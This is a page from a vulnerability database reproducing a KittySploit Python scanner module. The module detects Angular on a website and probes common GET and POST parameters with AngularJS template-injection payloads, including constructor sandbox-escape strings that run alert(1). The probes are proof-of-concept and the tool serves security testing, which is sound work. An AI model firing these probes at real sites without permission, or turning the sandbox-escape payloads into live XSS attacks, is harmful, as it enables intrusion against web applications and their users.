Lucene search
+L

Angular XSS Scanner

🗓️ 17 Jan 2026 08:03:29Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Angular XSS Scanner scans for Angular-specific XSS and template expression injection.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from __future__ import annotations

import re
import urllib.parse
from typing import Any, Dict, List, Optional, Tuple

from kittysploit import *
from lib.protocols.http.http_client import Http_client


# Unique product unlikely to appear on normal pages (avoids "49" / year false positives).
_EVAL_A, _EVAL_B = 1337, 7331
_EVAL_RESULT = str(_EVAL_A * _EVAL_B)  # 9801547
_MATH_PAYLOAD = f"{{{{{_EVAL_A}*{_EVAL_B}}}}}"

_ANGULAR_INDICATORS = (
    "ng-app",
    "ng-controller",
    "ng-version",
    "angular.js",
    "angular.min.js",
    "angularjs",
    "[ng-",
    "*ng-",
    "ng-bind",
    "ng-model",
)


class Module(Auxiliary, Http_client):

    __info__ = {
        "name": "Angular XSS Scanner",
        "description": (
            "Scans for Angular-specific XSS / template expression injection. "
            "Requires Angular indicators and confirmed expression evaluation "
            "(reflection alone is not treated as a finding)."
        ),
        "author": "KittySploit Team",
        "tags": ["web", "angular", "xss", "scanner", "security", "injection"],
        "references": [
            "https://owasp.org/www-community/attacks/xss/",
            "https://angular.io/guide/security",
            "https://portswigger.net/web-security/cross-site-scripting",
        ],
        "agent": {
            "risk": "active",
            "effects": ["network_probe"],
            "expected_requests": 8,
            "reversible": True,
            "approval_required": False,
            "produces": ["tech_hints", "risk_signals", "endpoints", "params"],
            "cost": 1.0,
            "noise": 0.4,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["angular", "angularjs"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [{"capability": "endpoints", "from_detail": ""}],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [],
            },
        },
    }

    # Probe payloads: math canary first; constructor probes only count on evaluation.
    ANGULAR_PAYLOADS = [
        _MATH_PAYLOAD,
        '{{constructor.constructor("return 1+1")()}}',
        '{{$eval.constructor("return 1+1")()}}',
        '{{constructor.constructor("alert(1)")()}}',
        '{{$on.constructor("alert(1)")()}}',
        '{{$watch.constructor("alert(1)")()}}',
        '{{constructor["constructor"]("alert(1)")()}}',
    ]

    ANGULAR_PARAMS = [
        "q",
        "query",
        "search",
        "filter",
        "sort",
        "order",
        "name",
        "value",
        "id",
        "key",
        "template",
        "expression",
        "callback",
    ]

    force_scan = OptBool(
        False,
        "Run even when Angular is not detected on the target",
        required=False,
    )

    def check(self):
        try:
            response = self.http_request(method="GET", path="/")
            if not response:
                return False
            if self._body_has_angular(response.text or "", response.headers):
                return True
            return bool(self.force_scan)
        except Exception:
            return False

    def _body_has_angular(self, content: str, headers: Any = None) -> bool:
        low = (content or "").lower()
        if any(token in low for token in _ANGULAR_INDICATORS):
            return True
        header_blob = str(headers or "").lower()
        return "angular" in header_blob

    def detect_angular_version(self) -> Optional[str]:
        try:
            response = self.http_request(method="GET", path="/")
            if not response:
                return None

            content = response.text or ""
            version_match = re.search(
                r"angular[\.-]?(\d+\.\d+\.\d+)", content, re.IGNORECASE
            )
            if version_match:
                return version_match.group(1)

            ng_version_match = re.search(
                r'ng-version=["\']([^"\']+)["\']', content, re.IGNORECASE
            )
            if ng_version_match:
                return ng_version_match.group(1)

            low = content.lower()
            if "angularjs" in low or "ng-app" in low:
                return "AngularJS (1.x)"
            if "angular" in low and ("[ng-" in content or "*ng-" in content):
                return "Angular 2+"
            if self._body_has_angular(content, response.headers):
                return "Angular (unversioned)"
            return None
        except Exception as exc:
            print_debug(f"Error detecting Angular version: {exc}")
            return None

    def _baseline_body(self, param_name: str, method: str = "GET") -> str:
        canary = "kittysploit_angular_baseline"
        try:
            if method.upper() == "POST":
                response = self.http_request(
                    method="POST",
                    path="/",
                    data={param_name: canary},
                )
            else:
                response = self.http_request(
                    method="GET",
                    path=f"/?{param_name}={canary}",
                    allow_redirects=False,
                )
            return (response.text or "") if response else ""
        except Exception:
            return ""

    def _expression_evaluated(
        self,
        payload: str,
        body: str,
        baseline: str,
    ) -> Tuple[bool, str]:
        """Return (evaluated, reason). Reflection of the raw payload is never enough."""
        if not body:
            return False, ""

        # Math canary: result must appear, not be present in baseline, and
        # raw template markers for that expression should be gone or rewritten.
        expr_match = re.search(r"\{\{(\d+)\*(\d+)\}\}", payload)
        if expr_match:
            expected = str(int(expr_match.group(1)) * int(expr_match.group(2)))
            if expected in baseline:
                return False, ""
            if expected not in body:
                return False, ""
            # If the full payload is still reflected unchanged, it was not evaluated.
            if payload in body:
                return False, ""
            encoded = urllib.parse.quote(payload)
            if encoded in body:
                return False, ""
            return True, f"expression_evaluated:{expected}"

        # Constructor / $eval probes: require a clear evaluation side-effect.
        # Alert payloads cannot be confirmed server-side from HTML alone; skip
        # unless a distinct numeric canary was returned (handled above).
        if "constructor" in payload or "$eval" in payload:
            # Soft signal only when Angular-like sandbox error / eval residue appears
            # without reflecting the full raw payload (common with AngularJS CSTI).
            if payload in body:
                return False, ""
            residues = (
                "constructor is not defined",
                "[object Object]",
                "ReferenceError",
            )
            hit = next((item for item in residues if item in body and item not in baseline), None)
            if hit:
                return True, f"angular_eval_residue:{hit}"
        return False, ""

    def test_xss_payload(
        self,
        payload: str,
        param_name: str = "q",
        *,
        baseline: str = "",
        method: str = "GET",
    ) -> Dict[str, Any]:
        try:
            if method.upper() == "POST":
                response = self.http_request(
                    method="POST",
                    path="/",
                    data={param_name: payload},
                )
                test_path = "/"
            else:
                encoded_payload = urllib.parse.quote(payload)
                test_path = f"/?{param_name}={encoded_payload}"
                response = self.http_request(
                    method="GET",
                    path=test_path,
                    allow_redirects=False,
                )

            if not response:
                return {
                    "payload": payload,
                    "param": param_name,
                    "method": method.upper(),
                    "vulnerable": False,
                    "error": "No response",
                }

            body = response.text or ""
            is_reflected = payload in body or urllib.parse.quote(payload) in body
            is_evaluated, reason = self._expression_evaluated(payload, body, baseline)
            # Reflection alone is a false positive for Angular CSTI / XSS.
            vulnerable = bool(is_evaluated)

            return {
                "payload": payload,
                "param": param_name,
                "path": test_path,
                "method": method.upper(),
                "vulnerable": vulnerable,
                "is_reflected": is_reflected,
                "is_evaluated": is_evaluated,
                "evidence": reason,
                "status_code": response.status_code,
                "response_length": len(body),
            }
        except Exception as exc:
            return {
                "payload": payload,
                "param": param_name,
                "method": method.upper(),
                "vulnerable": False,
                "error": str(exc),
            }

    def run(self):
        self.vulnerabilities: List[Dict[str, Any]] = []
        self.test_results: List[Dict[str, Any]] = []

        print_status("Starting Angular XSS scan...")
        print_info(f"Target: {self.target}")
        print_info("")

        print_status("Detecting Angular version...")
        version = self.detect_angular_version()
        angular_present = bool(version)
        if not angular_present:
            # Re-check body indicators without a version string.
            probe = self.http_request(method="GET", path="/")
            angular_present = bool(
                probe and self._body_has_angular(probe.text or "", probe.headers)
            )

        if version:
            print_success(f"Angular version detected: {version}")
        elif angular_present:
            print_success("Angular indicators detected (version unknown)")
        else:
            print_warning("Angular not detected")
            if not self.force_scan:
                print_info(
                    "Skipping Angular XSS probes (reflection without Angular "
                    "is not a vulnerability). Set force_scan=true to override."
                )
                print_info("No Angular XSS vulnerabilities detected.")
                return True
            print_info("force_scan enabled — continuing without Angular confirmation")
        print_info("")

        print_status("Testing GET parameters for Angular expression injection...")
        print_info("")

        for param in self.ANGULAR_PARAMS:
            print_info(f"Testing parameter: {param}")
            baseline = self._baseline_body(param, "GET")
            for payload in self.ANGULAR_PAYLOADS:
                result = self.test_xss_payload(
                    payload, param, baseline=baseline, method="GET"
                )
                self.test_results.append(result)
                if result.get("vulnerable"):
                    print_success(
                        f"  [!] Confirmed expression evaluation with payload: {payload[:50]}..."
                    )
                    print_info(f"      Parameter: {param}")
                    print_info(f"      Evidence: {result.get('evidence', '')}")
                    self.vulnerabilities.append(result)

        print_info("")
        print_status("Testing POST parameters for Angular expression injection...")
        print_info("")

        for param in self.ANGULAR_PARAMS[:5]:
            print_info(f"Testing POST parameter: {param}")
            baseline = self._baseline_body(param, "POST")
            for payload in self.ANGULAR_PAYLOADS[:3]:
                result = self.test_xss_payload(
                    payload, param, baseline=baseline, method="POST"
                )
                self.test_results.append(result)
                if result.get("vulnerable"):
                    print_success(
                        f"  [!] Confirmed expression evaluation (POST): {payload[:50]}..."
                    )
                    print_info(f"      Parameter: {param}")
                    self.vulnerabilities.append(result)

        print_info("")
        print_status("=" * 60)
        print_status("Angular XSS Scan Summary")
        print_status("=" * 60)

        if version:
            print_info(f"Angular Version: {version}")
        elif angular_present:
            print_info("Angular Version: detected (unversioned)")
        else:
            print_warning("Angular Version: Not detected")

        print_info(f"Total tests performed: {len(self.test_results)}")
        print_info(f"Vulnerabilities found: {len(self.vulnerabilities)}")
        print_status("=" * 60)
        print_info("")

        if self.vulnerabilities:
            print_success("Confirmed Angular expression injection:")
            print_info("")
            table_data = []
            for vuln in self.vulnerabilities[:20]:
                payload_short = vuln["payload"][:40] + (
                    "..." if len(vuln["payload"]) > 40 else ""
                )
                table_data.append(
                    [
                        vuln.get("param", "N/A"),
                        vuln.get("method", "GET"),
                        payload_short,
                        vuln.get("evidence") or "evaluated",
                    ]
                )
            print_table(["Parameter", "Method", "Payload", "Evidence"], table_data)
        else:
            print_info("No Angular XSS vulnerabilities detected.")

        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 14:48Current
5.9Medium risk
Vulners AI Score5.9
2